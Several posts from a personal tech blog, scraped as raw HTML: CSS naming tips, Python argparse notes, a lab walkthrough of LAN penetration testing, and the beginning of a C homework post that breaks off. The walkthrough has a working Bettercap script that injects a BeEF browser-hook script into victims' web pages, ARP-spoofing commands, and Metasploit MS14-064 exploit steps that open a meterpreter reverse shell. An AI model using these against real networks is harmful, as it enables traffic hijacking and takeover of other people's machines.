class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css">*{ margin: 0; padding: 0; } </code></pre></td></tr></table> </div> </div><code>*</code> is a regular wildcard character in CSS, and it has the lowest priority among all selectors. Setting its <code>margin</code> and <code>padding</code> properties to <code>0</code> before everything else can eliminate the default padding and margin for all elements before they are selected by a specific selector. This makes it much easier to make more accurate adjustments to element spacing later on. If you’re still not sure whether or not to include it, try it out and see the difference for yourself. <h3 id="inappropriate-naming-when-using-class-selectors-and-id-selectors">Inappropriate naming when using class selectors and ID selectors</h3> This is also a big problem that greatly affects the readability and maintainability of the code. I often see something like this: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css">.a1{ } .a2{ } #b1{ } #b2{ } </code></pre></td></tr></table> </div> </div>It’s hard to know what element it actually selects, which increases workload… Because at first glance, it’s unclear what it refers to. Also, using Chinese characters for naming, although I used to like to do this when I was in middle school, this habit is not good because if there are some server encoding issues, the style files may not be loaded properly. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css">h1.中央标题 { text-align:center; font-size:22px; } h1.一级标题 { font-size:22px; } h2.二级标题 { font-size:20px; } h2.三级标题 { font-size:18px; } h2.四级标题 { font-size:16px; } p.普通文字 { text-indent:25px; font-size:15px; text-align:justify; } </code></pre></td></tr></table> </div> </div>But some people even use numbers! And then they ask me why the style is not displaying properly! <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css">.1{ color: red; } </code></pre></td></tr></table> </div> </div>Numbers or names that start with numbers cannot be used as class selector names and IDs in CSS. Similarly, in many programming languages, it is not allowed to name variables using numbers or names that begin with numbers. To avoid this problem, naming conventions such as camelCase and <code>_</code> concatenation can be used. <ul> <li>Upper camel case refers to two words combined, with the first letter of each word capitalized, such as <code>TopHead</code>.</li> <li>Lower camel case refers to two words combined, with only the first letter of the second word capitalized, such as <code>contentPlace</code>.</li> </ul> For naming conventions with more than two words, the <code>_</code> character is needed to combine them, such as <code>the_menu_bar</code>. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css">.TopHead{ width: 1000px; height: 300px; } .contentPlace{ width: 1000px; height: auto; } .the_menu_bar{ width: 100%; height: 50px; background-color: blue; } </code></pre></td></tr></table> </div> </div>This significantly improves readability so that one can generally tell at a glance which element corresponds to which, without having to spend time searching through the code. <h1 id="end">End</h1> The above are just my personal opinions and methods for addressing some of the small issues that beginner learners may encounter when studying HTML and CSS. There may be other problems that I haven’t discovered yet… Feel free to leave a comment below to share your thoughts and feedback.

2022/11/17

Python Learning Notes - ArgParse

<div class="featured-image"> <img src="/img/2021-05-16-18-25-46%e5%b1%8f%e5%b9%95%e6%88%aa%e5%9b%be.png" referrerpolicy="no-referrer"> </div><h1 id="introduction">Introduction</h1> In order to make <a href="https://github.com/WeepingDogel/TitleGetter" target="_blank" rel="noopener noreffer ">TitleGetter</a> more flexible, I plan to let users customize <code>list.txt</code> and the output file. Therefore, this requires the use of command line options… just like some software we commonly use, such as <code>pacman</code>. So I googled it and learned about <a href="https://docs.python.org/3/library/argparse.html" target="_blank" rel="noopener noreffer ">ArgParse</a>. <blockquote> The argparse module makes it easy to write user-friendly command-line interfaces. The program defines what arguments it requires, and argparse will figure out how to parse those out of sys.argv. The argparse module also automatically generates help and usage messages and issues errors when users give the program invalid arguments. From: <a href="https://docs.python.org/3/library/argparse.html" target="_blank" rel="noopener noreffer ">argparse â Parser for command-line options, arguments and sub-commands — Python 3.9.5 documentation</a> </blockquote> Then I tried typing a file… The result of running it looks like this: So let’s organize some related notes… <h1 id="creating-parser--adding-options">Creating Parser && Adding Options</h1> Before everything starts, we need to use the <code>ArgumentParser</code> usage in the <code>argparse</code> library to create a variable named <code>parser</code>. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python">import argparse parser = argparse.ArgumentParser(description='') </code></pre></td></tr></table> </div> </div>There is a parameter <code>description=''</code> here, which is used for writing some explanations… For example, we wrote: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python">import argparse parser = argparse.ArgumentParser(description='Welcome') </code></pre></td></tr></table> </div> </div>By the way, we need to write down some necessary options~ <code>parser.add_argument()</code> can be used here. We need to add some things inside, such as the usage format of options like <code>-a</code> and <code>--about</code>. Finally, add <code>args = parser.parse_args()</code>. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python">import argparse parser = argparse.ArgumentParser(description='Welcome') parser.add_argument('-a','--about', help='Show the about') args = parser.parse_args() </code></pre></td></tr></table> </div> </div>At this point, we can add <code>-h</code> to see the effect. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh">$ python a.py -h </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 6 7 8 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt">usage: a.py [-h] [-a ABOUT] Welcome optional arguments: -h, --help show this help message and exit -a ABOUT, --about ABOUT Show the about </code></pre></td></tr></table> </div> </div>Then let’s organize a few commonly used parameters. <ol> <li><code>default</code> * The default value when no parameters are set. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python">parser.add_argument('-a','--about', help='Show the about', defualt='text.txt') </code></pre></td></tr></table> </div> </div><ul> <li>If the user does not set this parameter, a default one will be provided automatically.</li> </ul> </li> <li><code>help</code> <ul> <li>Add explanatory text to the corresponding option.</li> </ul> </li> <li>required <ul> <li>Used to determine whether this parameter must be set.</li> <li>If <code>required=True</code> is set, an error will be reported if this parameter is not set at runtime.</li> </ul> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python">parser.add_argument('-a','--about', required=True) </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt">$ python a.py usage: a.py [-h] -a ABOUT a.py: error: the following arguments are required: -a/--about </code></pre></td></tr></table> </div> </div></li> </ol> <h1 id="calling-the-obtained-option-parameters">Calling the Obtained Option Parameters</h1> Next, we need to use the obtained parameters. We know that when something is written after an option on the command line, the program will get it as a string by default. Then we have to use this to do what we want. I wrote a simple script that can write the contents of one file to another file. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python">import argparse print(''' By WeepingDogel ''') def GetParser(): parser = argparse.ArgumentParser(description='Help', epilog='A new testing program.') parser.add_argument('-o','--output', help='Output file',default='test.txt' , required=True) parser.add_argument('-r','--read',help='read a file', required=True) return parser def Write(content, filename): f = open(filename,"a") f.write(content) f.close() print(filename + ' has been written') def Read(filename): f = open(filename) text = f.read() return text def Main(): parser = GetParser() args = parser.parse_args() Write(Read(args.read),args.output) Main() </code></pre></td></tr></table> </div> </div>It is easy to see that what we obtain will go into the variable <code>args</code>, because it is assigned from the content returned by the function <code>parser.parse_args()</code>. To get the corresponding value of an option parameter, you can access it using <code>args.option_name</code>. For example, if we want to get the written file name: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh">$ vim b.py </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 6 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python">import argparse parser = argparse.ArgumentParser(description='Help', epilog='A new testing program.') parser.add_argument('-o','--output', help='Output file',default='test.txt' , required=True) args = parser.parse_args() filename = args.output print("The filename is "+ filename) </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt">$ python b.py -o WeepingDogel The filename is WeepingDogel </code></pre></td></tr></table> </div> </div>As you can see, we have obtained the string “WeepingDogel”. Similarly, the file name to be read is the same: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python">args.read </code></pre></td></tr></table> </div> </div>That’s all you need to do ～ Next, let’s take a screenshot of the effect of the above code: Creating and using it is that simple… Of course, there are more usages to explore… <h1 id="conclusion">Conclusion</h1> So what I’m going to do next is to update these into <a href="https://github.com/WeepingDogel/TitleGetter" target="_blank" rel="noopener noreffer ">TitleGetter</a> 啦！ There is no need to set the location of <code>list.txt</code> in the configuration file anymore! The output file position does not need to be fixed either!! <hr> <h1 id="reference-links">Reference links</h1> <ul> <li><a href="https://vra.github.io/2017/12/02/argparse-usage/" target="_blank" rel="noopener noreffer ">argparse简要用法总结 | Yunfeng’s Simple Blog</a></li> <li><a href="https://docs.python.org/3/library/argparse.html" target="_blank" rel="noopener noreffer ">argparse â Parser for command-line options, arguments and sub-commands — Python 3.9.5 documentation</a></li> </ul>

2021/5/16

LAN Penetration Testing with Beef, Bettercap, and Other Tools

<div class="featured-image"> <img src="/img/2021-02-02_13-51.png" referrerpolicy="no-referrer"> </div><h2 id="introduction">Introduction</h2> Well… Let’s start with some rambling as usual… Today, I tried using Beef and Bettercap together and found them to be quite effective~ Also, if you are using Internet Explorer (IE), you can use Beef in conjunction with the ms14-064 module in Metasploit to gain system privileges~ Without further ado, let’s get started~ <h3 id="testing-environment">Testing Environment</h3> First, let’s talk about the testing environment. <ul> <li> Attacker machine <ul> <li>Arch Linux</li> <li>192.168.101.15</li> </ul> </li> <li> Target machine <ul> <li>Windows XP on VirtualBox</li> <li>192.168.101.43</li> </ul> </li> </ul> Due to limited resources, we can only use Windows XP for this demonstration~ <h3 id="tools-used">Tools Used</h3> <ol> <li>Bettercap <ul> <li>First and foremost, Bettercap~ It is used for ARP spoofing, DNS hijacking, and network interruption attacks, which are all part of man-in-the-middle attacks…</li> </ul> </li> <li>Beef <ul> <li>Used for browser hijacking… and it can do many things, but I don’t know the specifics.</li> </ul> </li> <li>Metasploit (msf) <ul> <li>Our old friend~</li> </ul> </li> </ol> <h2 id="testing-process">Testing Process</h2> First, let’s open <code>bettercap</code>. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash">$ sudo bettercap </code></pre></td></tr></table> </div> </div>Then we will see the following output.. Note: You need to use sudo here because it requires root privileges to access network hardware such as network cards. If you don’t use sudo, you will see a prompt like this. Next, set the target for ARP spoofing: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt">set arp.spoof.targets 192.168.101.43 </code></pre></td></tr></table> </div> </div>Here, the targets are set to the IP address of the target machine. Next, start Beef, and remember to use <code>sudo</code> as mentioned earlier. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash">$ sudo beef </code></pre></td></tr></table> </div> </div>The output should be like this: Now, let’s talk about the links displayed in the terminal: <ul> <li>Hook URL: <a href="http://192.168.101.15:3000/hook.js" target="_blank" rel="noopener noreffer ">http://192.168.101.15:3000/hook.js</a> <ul> <li>This is the hook address mentioned earlier. Once a browser visits a page with this JavaScript, it will be hooked by Beef~ Later, we will write it into an attack script~</li> </ul> </li> <li>UI URL: <a href="http://192.168.101.15:3000/ui/panel" target="_blank" rel="noopener noreffer ">http://192.168.101.15:3000/ui/panel</a> <ul> <li>This is the Beef control panel. After opening it, you will see a login page, similar to the cover image. After logging in, it will look like this.</li> </ul> </li> </ul> About the username and password, here’s the thing: In some systems, you can’t use the default login credentials <code>(beef:beef)</code> for Beef, and it may not even start. For example, this is the case with my Arch Linux. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt">[14:40:25][!] ERROR: Default username and password in use! [14:40:25] |_ Change the beef.credentials.passwd in config.yaml </code></pre></td></tr></table> </div> </div>In such cases, what you need to do is modify the <code>config.yaml</code> file. In my case, the file is located at <code>/usr/share/beef/config.yaml</code>. Modify it as follows: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml">beef: version: '0.5.0.0-alpha-pre' # More verbose messages (server-side) debug: false # More verbose messages (client-side) client_debug: false # Used for generating secure tokens crypto_default_value_length: 80 # Credentials to authenticate in BeEF. # Used by both the RESTful API and the Admin interface credentials: user: "Choose a username" passwd: "Think of a password" </code></pre></td></tr></table> </div> </div>After that, you can start the system, and the username and password you set will be used for login. Alright, without further ado, let’s continue. Next, we need to write a JavaScript script to use with Bettercap. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-js" data-lang="js">function onResponse(req,res){ if(res.ContentType.indexOf('text/html')==0){ var body=res.ReadBody(); if(body.indexOf('</head>')!=-1){ res.Body=body.replace( '</head>', '<script type="text/javascript" src="http://192.168.101.15:3000/hook.js"></script></head>' ); } } } </code></pre></td></tr></table> </div> </div>Save this file to a directory of your choice. I will save it to <code>/home/weepingdogel/Downloads/hack/192.168.101.43/hack.js</code>. Then, let’s go back to Bettercap and set the <code>http.proxy.script</code> parameter to the path mentioned above: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt">set http.proxy.script /home/weepingdogel/Downloads/hack/192.168.101.43/hack.js </code></pre></td></tr></table> </div> </div>Then start <code>net.probe</code>, <code>arp.spoof</code>, and <code>http.proxy</code> in sequence. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt">net.probe on </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt">arp.spoof on </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt">http.proxy on </code></pre></td></tr></table> </div> </div>Alright… Now everything is set up and ready to go… Then we’ll have the target machine open a browser and visit a website… Since IE8 no longer supports HTTPS for Bing, it will be vulnerable as soon as it opens. And then there’s so much we can do. I decided to use a clippy module that binds to a <code>ms14-064</code> address, and now it’s msf’s turn. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash">$ msfconsole </code></pre></td></tr></table> </div> </div> Enable Modules. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt">> use exploit/windows/browser/ms14_064_ole_code_execution </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt">> info </code></pre></td></tr></table> </div> </div>Let’s see the description. <blockquote> Description: This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332. The vulnerability is known to affect Internet Explorer 3.0 until version 11 within Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will only target Windows XP and Windows 7 box due to the Powershell limitation. Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other newer Windows systems, the exploit will try using Powershell instead. </blockquote> Check the options <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt">show options </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt">Module options (exploit/windows/browser/ms14_064_ole_code_execution): Name Current Setting Required Description ---- --------------- -------- ----------- AllowPowershellPrompt false yes Allow exploit to try Powershell Retries true no Allow the browser to retry the module SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TRYUAC false yes Ask victim to start as Administrator URIPATH no The URI to use for this exploit (default is random) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.101.15 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Windows XP </code></pre></td></tr></table> </div> </div>Normally we would just set a <code>SRVHOST</code>, but <code>bettercap</code> just took port <code>8080</code>, so we need to set a new <code>SRVPORT</code>. The <code>SRVHOST</code> is set to the address of the attacking machine. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt">set SRVHOST 192.168.101.15 </code></pre></td></tr></table> </div> </div><code>SRVPORT</code> Arbitrarily specify a free port <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt">set SRVPORT 9999 </code></pre></td></tr></table> </div> </div>Execute. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt">exploit </code></pre></td></tr></table> </div> </div>Then we get it <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 6 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt">[*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.101.15:4444 [*] Using URL: http://192.168.101.15:9999/deCFhCIwXNHYT [*] Server started. </code></pre></td></tr></table> </div> </div>Change the default <code>Clippy image directory</code> address to the attacker’s address, then put the link <code>http://192.168.101.15:9999/deCFhCIwXNHYT</code> in the <code>Executable</code> field. Then click the <code>execute</code>. That’s when a funny thing happens to the target machine. Whichever one you click on, it jumps to the msf link. After clicking on it, msf responds. A <code>meterpreter</code> connection is established. Get in the session. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt">sessions -i 1 </code></pre></td></tr></table> </div> </div> At this point we can use <code>meterpreter</code> to operate the target machine as normal… The <code>getsystem</code> lifting is also no problem. As for the use of <code>meterpreter</code>, I will not continue to write about it, because I have written about it before (escape.). Then here is half of the success, the rest is the post-penetration, say a long time can not finish it ~ ~ here it is ~ <h2 id="end">End</h2> I’m sorry, but I’m not sure if I’m going to be able to do this. qwq However, to declare that the content of this article is limited to the test to learn to use, do not take to do bad things, or the consequences of their own Oh ~ Finally, this site follows the [CC-BY-NC 4.0 protocol] (<a href="https://creativecommons.org/licenses/by-nc/4.0/%29" target="_blank" rel="noopener noreffer ">https://creativecommons.org/licenses/by-nc/4.0/)</a>, reproduced please specify the source! <h2 id="reference-links">Reference links</h2> <ul> <li><a href="https://cvedetails.com/cve/CVE-2014-6332/" target="_blank" rel="noopener noreffer ">CVE-2014-6332 : OleAut32.dll in OLE in Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows</a></li> <li><a href="https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2014/MS14-064" target="_blank" rel="noopener noreffer ">Microsoft Security Bulletin MS14-064 - Critical | Microsoft Docs</a></li> <li><a href="https://www.exploit-db.com/exploits/35229" target="_blank" rel="noopener noreffer ">Microsoft Internet Explorer 11 - OLE Automation Array Remote Code Execution (1) - Windows remote Exploit</a></li> <li><a href="https://www.exploit-db.com/exploits/35308" target="_blank" rel="noopener noreffer ">Microsoft Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / PowerShell VirtualAlloc (MS14-064) - Windows remote Exploit</a></li> <li><a href="http://securityintelligence.com/ibm-x-force-researcher-finds-significant-vulnerability-in-microsoft-windows" target="_blank" rel="noopener noreffer ">IBM X-Force Researcher Finds Significant Vulnerability in Microsoft Windows</a></li> <li><a href="https://forsec.nl/2014/11/cve-2014-6332-internet-explorer-msf-module" target="_blank" rel="noopener noreffer ">CVE-2014-6332: it’s raining shells | forsec</a></li> <li><a href="https://usstzt.site/2020/05/26/bettercap%E7%9A%84%E4%BD%BF%E7%94%A8/#&gid=1&pid=2" target="_blank" rel="noopener noreffer ">kali bettercap的使用 | UsstZt</a></li> <li><a href="https://blog.csdn.net/qq_33066259/article/details/80737308" target="_blank" rel="noopener noreffer ">Bettercap2.6与beef的使用_请你吃橘子-CSDN博客</a></li> <li><a href="https://www.deepl.com/translator#en/zh/This%20module%20exploits%20the%20Windows%20OLE%20Automation%20array%20vulnerability%2C%20CVE-2014-6332.%20The%20vulnerability%20is%20known%20to%20affect%20Internet%20Explorer%203.0%20until%20version%2011%20within%20Windows%2095%20up%20to%20Windows%2010%2C%20and%20no%20patch%20for%20Windows%20XP.%20However%2C%20this%20exploit%20will%20only%20target%20Windows%20XP%20and%20Windows%207%20box%20due%20to%20the%20Powershell%20limitation.%20Windows%20XP%20by%20defaults%20supports%20VBS%2C%20therefore%20it%20is%20used%20as%20the%20attack%20vector.%20On%20other%20newer%20Windows%20systems%2C%20the%20exploit%20will%20try%20using%20Powershell%20instead." target="_blank" rel="noopener noreffer ">DeepL Translate</a></li> </ul>

2021/2/2

Help with College Computer Homework

<div class="featured-image"> <img src="/img/2020-12-03%2000-58-57%e5%b1%8f%e5%b9%95%e6%88%aa%e5%9b%be.png" referrerpolicy="no-referrer"> </div><h2 id="introduction">Introduction</h2> Help with homework qwq… I haven’t played with C language for a long time, let me try to see if I can do it. <blockquote> PS: I’m on Linux, the execution method may be different. If you are on Windows, you need an editor to run it. For example, Dev C++, VS 2019, etc. </blockquote> <h2 id="experiment-eleven">Experiment Eleven</h2> <blockquote> Experiment Eleven Objective: <ul> <li>Understand C programming concepts</li> <li>Understand C program design framework</li> </ul> Contents: Input a grade and output its level rating. </blockquote> This is straightforward. We need to list several grade levels: <ul> <li>Excellent <ul> <li>80 ~ 100 points [80,100]</li> </ul> </li> <li>Pass <ul> <li>60~79 points [60,79]</li> </ul> </li> <li>Fail <ul> <li>Below 60 points [0,60)</li> </ul> </li> </ul> In the code, we can use expressions to represent the intervals, for example: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-c" data-lang="c">score >= 80 && score <= 100 </code></pre></td></tr></table> </div> </div>Then we use if() to determine the grade level. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-c" data-lang="c">#include<stdio.h> int main(){ int score = 85; if(score >= 80 && score <= 100){ printf("The grade is excellent"); }else if(score >= 60 && score <= 79){ printf("The grade is pass"); }else if(score >= 0 && score < 60){ printf("The grade is fail"); } } </code></pre></td></tr></table> </div> </div>Next, we run the program. Output: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">weepingdogel@WeepingDogel /tmp> make test cc test.c -o test weepingdogel@WeepingDogel /tmp> ./test The grade is excellent⏎ </code></pre></td></tr></table> </div> </div>Then we need to get the user’s input for the grade, like this, using the <code>scanf()</code> function to get the user’s input and assign it to an integer variable <code>score</code>. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 6 7 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-c" data-lang="c">#include<stdio.h> int main(){ int score; printf("Enter your grade:"); scanf("%d",&score); printf("%d",score); } </code></pre></td></tr></table> </div> </div>Next, we combine these two pieces of code together. The complete code is as follows: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-c" data-lang="c">#include<stdio.h> int main(){ int score; printf("Enter your grade:"); scanf("%d",&score); if(score >= 80 && score <= 100){ printf("The grade is excellent"); }else if(score >= 60 && score <= 79){ printf("The grade is pass"); }else if(score >= 0 && score < 60){ printf("The grade is fail"); } } </code></pre></td></tr></table> </div> </div>The idea is to first use <code>scanf()</code> function to get the user’s input for the grade, then use <code>if()</code> statements to compare and output the result. This is the output: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">weepingdogel@WeepingDogel /tmp> make test cc test.c -o test weepingdogel@WeepingDogel /tmp> ./test Enter your grade:99 The grade is excellent⏎ weepingdogel@WeepingDogel /tmp> ./test Enter your grade:85 The grade is excellent⏎ weepingdogel@WeepingDogel /tmp> ./test Enter your grade:60 The grade is pass⏎ weepingdogel@WeepingDogel /tmp> ./test Enter your grade:59 The grade is fail⏎ </code></pre></td></tr></table> </div> </div><h2 id="experiment-12">Experiment 12</h2> <blockquote> Experiment Purpose: <ul> <li>Understand C program design ideas</li> <li>Understand C program design frameworks</li> </ul> Task content <ul> <li>Requires writing a program that registers and then logs in, outputting the format shown in the following figure:</li> </ul> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td 